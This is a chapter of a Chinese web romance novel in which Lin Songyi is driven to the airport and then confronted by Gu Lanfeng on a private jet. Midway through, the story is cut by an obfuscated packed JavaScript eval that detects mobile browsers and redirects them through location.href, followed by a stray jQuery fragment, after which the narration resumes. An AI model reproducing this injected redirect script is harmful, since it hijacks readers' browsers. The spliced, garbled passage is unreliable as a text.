17. 第17章

作品:《平平无奇,但她是万人迷!

    两天的时间倏忽而过,紧赶慢赶,在回国前一天的下午,林颂宜总算处理完手头所有事宜。


    公寓退租要求原样交付,为了顺利退回押金,最后一晚,林颂宜干脆在地上打起地铺,躺下后仰面望着天花板,她回忆起自己搬进来当天的情景。


    搬进公寓的头一晚,也是这样,空荡荡的房间,只有一卷潦草的地铺,以及一个老旧的行李箱,那时候心里除了欢喜,更多装着对未来的不确定。


    地铺开局,地铺结尾。


    见证这一段路的有始有终。


    这些年的时光,将她的筋骨锻造得更为坚韧,现在,林颂宜心里没有不安,只有对未来的笃定,不去预设终点是怎样的光景,只知道无论如何她都会走下去。


    没有摇摆不定,也没有惶恐不安,唯剩一颗决心。


    不知道别人结束一段人生旅程是怎样的,反正林颂宜睡得很好,即便是打地铺,也没影响她睡个好觉。


    次日醒来,将地上的东西收拾好,做最后一遍检查的时候,手机铃声响起。


    来电号码很陌生。


    不是昨天联系她的司机。


    迟疑片刻,林颂宜走到窗边向外张望。


    公寓楼下停着一辆黑色跑车,车旁站着的人,宽松白T加牛仔裤,看身形有些眼熟,那人站在车前,脊背挺直,正一手举着电话朝楼上看来。


    微风拂过,散开额发,露出光洁的额头,晨光散落在他身上,灰紫色的发丝镀上微光,距离有些远,林颂宜看不清对方的神情。


    是林宇川。


    这一耽搁,电话铃声已经接近尾声,林颂宜赶紧按下接听键。


    “你好,哪位?”


    “姐姐,是我,林宇川。”


    对方还算懂事,没有干等着林颂宜开口,主动解释:“司机临时有事,我刚好顺路来接你,需要我上去帮忙吗?”


    原来是这样。


    林颂宜放松下来。


    林颂宜的行李不多,只有一个28寸的行李箱,这栋公寓内部安装了电梯,她不想麻烦别人,开口道:“谢谢,不用了,你稍等,我马上下去。”


    “好,不着急。”


    林颂宜推着行李走出来,林宇川快步上前接过,双开门的跑车,前盖放不下,只能将行李倒放在后排。


    还好是辆敞篷车,林颂宜看着车子暗自庆幸,也幸好她的东西不多,但凡再多两个箱子,这一趟都搬不完。


    林宇川放好行李,也意识到今天的车子选的不妥,摸了摸后脑勺,面色有些尴尬,他语带歉疚道:“是我考虑不周,出门的时候没想那么多,和司机要了你的地址和号码就来了。”


    “不碍事,谢谢你来接我。”林颂宜无意让人难堪,横竖都是她占便宜,没有挑剔的道理。


    “上车吧,我给姐姐带了早餐。”林宇川笑着替她打开车门,确认她系上安全带,才走到另一边上车。


    林颂宜接过咖啡,她不太喜欢在早上喝冰饮,但还是喝了两口,体面感谢带饭人:“谢谢你的咖啡,你吃了吗?”


    “没来得及。”林宇川发动车子,“一会儿再吃。”


    “……”林颂宜看一眼手里份量超标的三明治,笑着道:“那就只能委屈林少忍一下了,我尽量吃快一点。”


    林宇川闻言,嘴角的笑意有一瞬发僵,又迅速恢复自然。


    林颂宜猜测,一手方向盘,一手还举着面包这种事,像林宇川这样的人不会做,也就没多说什么。


    林颂宜吃了两小块面包就收了手,倒不是她有意为之,主要是一大早胃口一般。


    “不好吃吗?”见她吃得不多,林宇川出声关切。


    “没有,东西很好吃,刚起来,我的胃口还没打开。”林颂宜笑着回他,又喝了两口咖啡,便不再动了。


    “你今天也回国?”林颂宜不记得这次同行名单里有他。


    “嗯,昨天考完最后一科,正好赶上。”林宇川看一眼林颂宜,见她看着前方目不斜视,告诉她,“顾澜封临时决定回国,一早让司机去接人,我就自告奋勇过来了。”


    林颂宜:“……?”


    冤孽。


    林颂宜转头,笑得真心实意:“麻烦你了,赶过来费了不少时间吧?”


    “不麻烦,正好顺路。”林宇川的语气很轻松,没有丝毫的不耐烦。


    “我自己过去机场也可以的。”林颂宜将另一杯咖啡插上吸管,放到中控上,方便付绪然拿取,“谢谢你跑这一趟,下次有机会我请你吃饭。”


    “好啊。”生怕应晚了承诺会作废,林宇川没有任何犹豫,一口应下。


    “……”林颂宜被他的反应逗笑,“等我回国安顿好了,我们再约时间。”


    “那姐姐别忘了存我号码。”林宇川没忘记刚才电话里的那声疑问,视线透过后视镜落到林颂宜脸上,片刻后又移开,“不会等我假期结束都吃不上吧?”


    “怎么会?”林颂宜将存好的号码备注展示给他看,“喏,保证在你假期结束前让你吃上。”


    ***


    二人抵达机场的时候,已经有工作人员等在一旁,行李和车子都有人接手,林颂宜只需要跟着前往登机就行。


    进入机舱,只看到涛哥,不见付绪然和顾澜封,林颂宜也不在意。


    毕竟是第一次体验私人飞机,林颂宜多少也感到有些新奇,便大大方方打量起机舱内的布局。


    区别于普通客机拥挤的座次安排,舱内座次能容纳十数人同时出行。


    机舱内整体是米色和木纹的经典搭配,真皮座椅宽敞舒适间隔疏阔,雪茄吧、餐厅、淋浴间和独立卧室这些装备一应俱全,俨然是一座可移动的空中豪宅。


    可恶,有钱人果然能为所欲为!


    这个世界为什么不能多她一个有钱人?


    李清越不在,徐心荟和温若甯也推迟了回国的时间,据说是温若甯很喜欢的一个演员来这边参加活动,徐心荟陪着她一块去。


    当时说要蹭座的几人,最后只有林颂宜真的蹭上了。


    涛哥见到两人,招呼他们:“来了?随便坐。”


    林颂宜也是上次听霍明韫说起才知道,涛哥是付家保姆的儿子,付家大方,给他提供了不少机会。


    付绪然热衷赛车,涛哥在这块也有点天赋,后来组了个车队,大部分事项都是涛哥在打理,他和付绪然关系亲近也就不奇怪了。


    林颂宜道谢,挑了个靠窗的位置坐下,林宇川顺势在她边上落座。


    “然哥呢?”林宇问涛哥。


    涛哥朝会议区指了指,哪里有道门关着,听不见里头的动静:“开会。”


    “真有够忙的。”


    这一趟要飞十几个小时,抵达国内刚好是下午,时间抓紧一些,还能去把租房合同签了。


    心里这么盘算着,林颂宜拿出手机给赵钦霜发去信息。


    等她再抬头,恰好对上一道充满玩味的视线。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066562|194430||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是顾澜封。


    走路跟鬼似的,悄没声儿。


    林颂宜垂眸,避开对方的目光,顾澜封也不知道犯什么毛病,直接走过来在她对面落座。


    林颂宜不想和这人多接触,只礼貌点头示意,随即拿出平板翻看文献,旅途枯燥漫长,适合干点正事。


    至于对面那个人。


    一团空气罢了。


    人员到齐,涛哥通知机组起飞。


    飞机进入平稳飞行后,机组工作人员为大家送上餐食,林颂宜刚吃过,并不饿,只要了点水果和清水。


    “怎么突然就要回去?”见林颂宜在忙,林宇川要了份餐食,边吃边随口和顾澜封攀谈。


    “想回就回。”顾澜封回的极敷衍,“你不也还没放假就回去?”


    “考完了就回呗。”林宇川一副理所当然的表情。


    俩人在一旁有一搭没一搭地闲聊,有了林宇川打岔,顾澜封的视线,终于从林颂宜身上移开,没了那股黏腻阴湿感,林颂宜放松下来,开始沉下心翻看资料。


    她看得认真,时不时还会停下记录点东西,至于边上两人什么时候结束的交谈,林颂宜没在意。


    再抬眼,对面已经不见顾澜封的身影,而林宇川也换了位置,大屏幕上正播放着一个赛车视频,林宇川和涛哥时不时会交流几句,两人的对话中专业术语过多,林颂宜只听得一知半解。


    长久保持一个姿势坐着,脖子和后腰都有些酸,林颂宜起身准备走动一会,顺带去了洗手间,刚才水喝得有些多,休息下来就有些憋不住了。


    从起飞到现在,时间已经过去两个多小时,却依旧不见付绪然从会议区出来,林颂宜不免有些佩服。


    真是。


    铁股铮铮。


    长途飞行,为了舒适,她今天没化妆,机舱内的温度适中,但是有些干燥,林颂宜从随身背包里拿出一管保湿霜,进入洗手间,重新洗了把脸又涂上厚厚一层,这才推开门走出来。


    冤家路窄戏码再次上演。


    林颂宜和从休息室出来的顾澜封正面对上。


    面前的男人微蹙着眉,一副极不耐烦的模样,林颂宜以为他要用卫生间,连忙侧身退开一步,不曾想对方直接上前,就这么大喇喇挡住了她的前路。


    李颂宜:“?”


    毛病。


    过道本就不宽敞,顾澜封跟堵墙似的杵在那,身后是会议区,林颂宜不好开门进去打扰别人。


    至于侧面的休息室……面对一个执意找茬的人,进去也没有意义。


    “顾少,方便让我先出去吗?”林颂宜镇定开口。


    “你觉得呢?”似乎是被她的反应所取悦,顾澜封的语气堪称友好,可表情和眼神却满是戏谑。


    林颂宜无语,隐隐后悔蹭这一趟,事已至此,只能尽量和平解决麻烦,她开口,语气很诚恳:“如果是为着上次靶场的事,是我冲动了,希望你大人有大量,别和我计较。”


    “呵,我要是不大度呢?”靴子落地带起轻响,顾澜封步步紧逼。


    林颂宜又不傻,见他这般,林颂宜浅笑着小心后退,表情里没有透出丝毫慌乱。


    她笃定顾澜封也不会真做什么,无非就是闲得慌,但林颂宜不想陪他玩,后背贴上门板,她反手准备推开会议区的门,手才要碰到把手,身后的门恰好打开。


    一步落空,林颂宜险些后仰跌倒,千钧之际,腰间揽上一双大手。


    “小心。”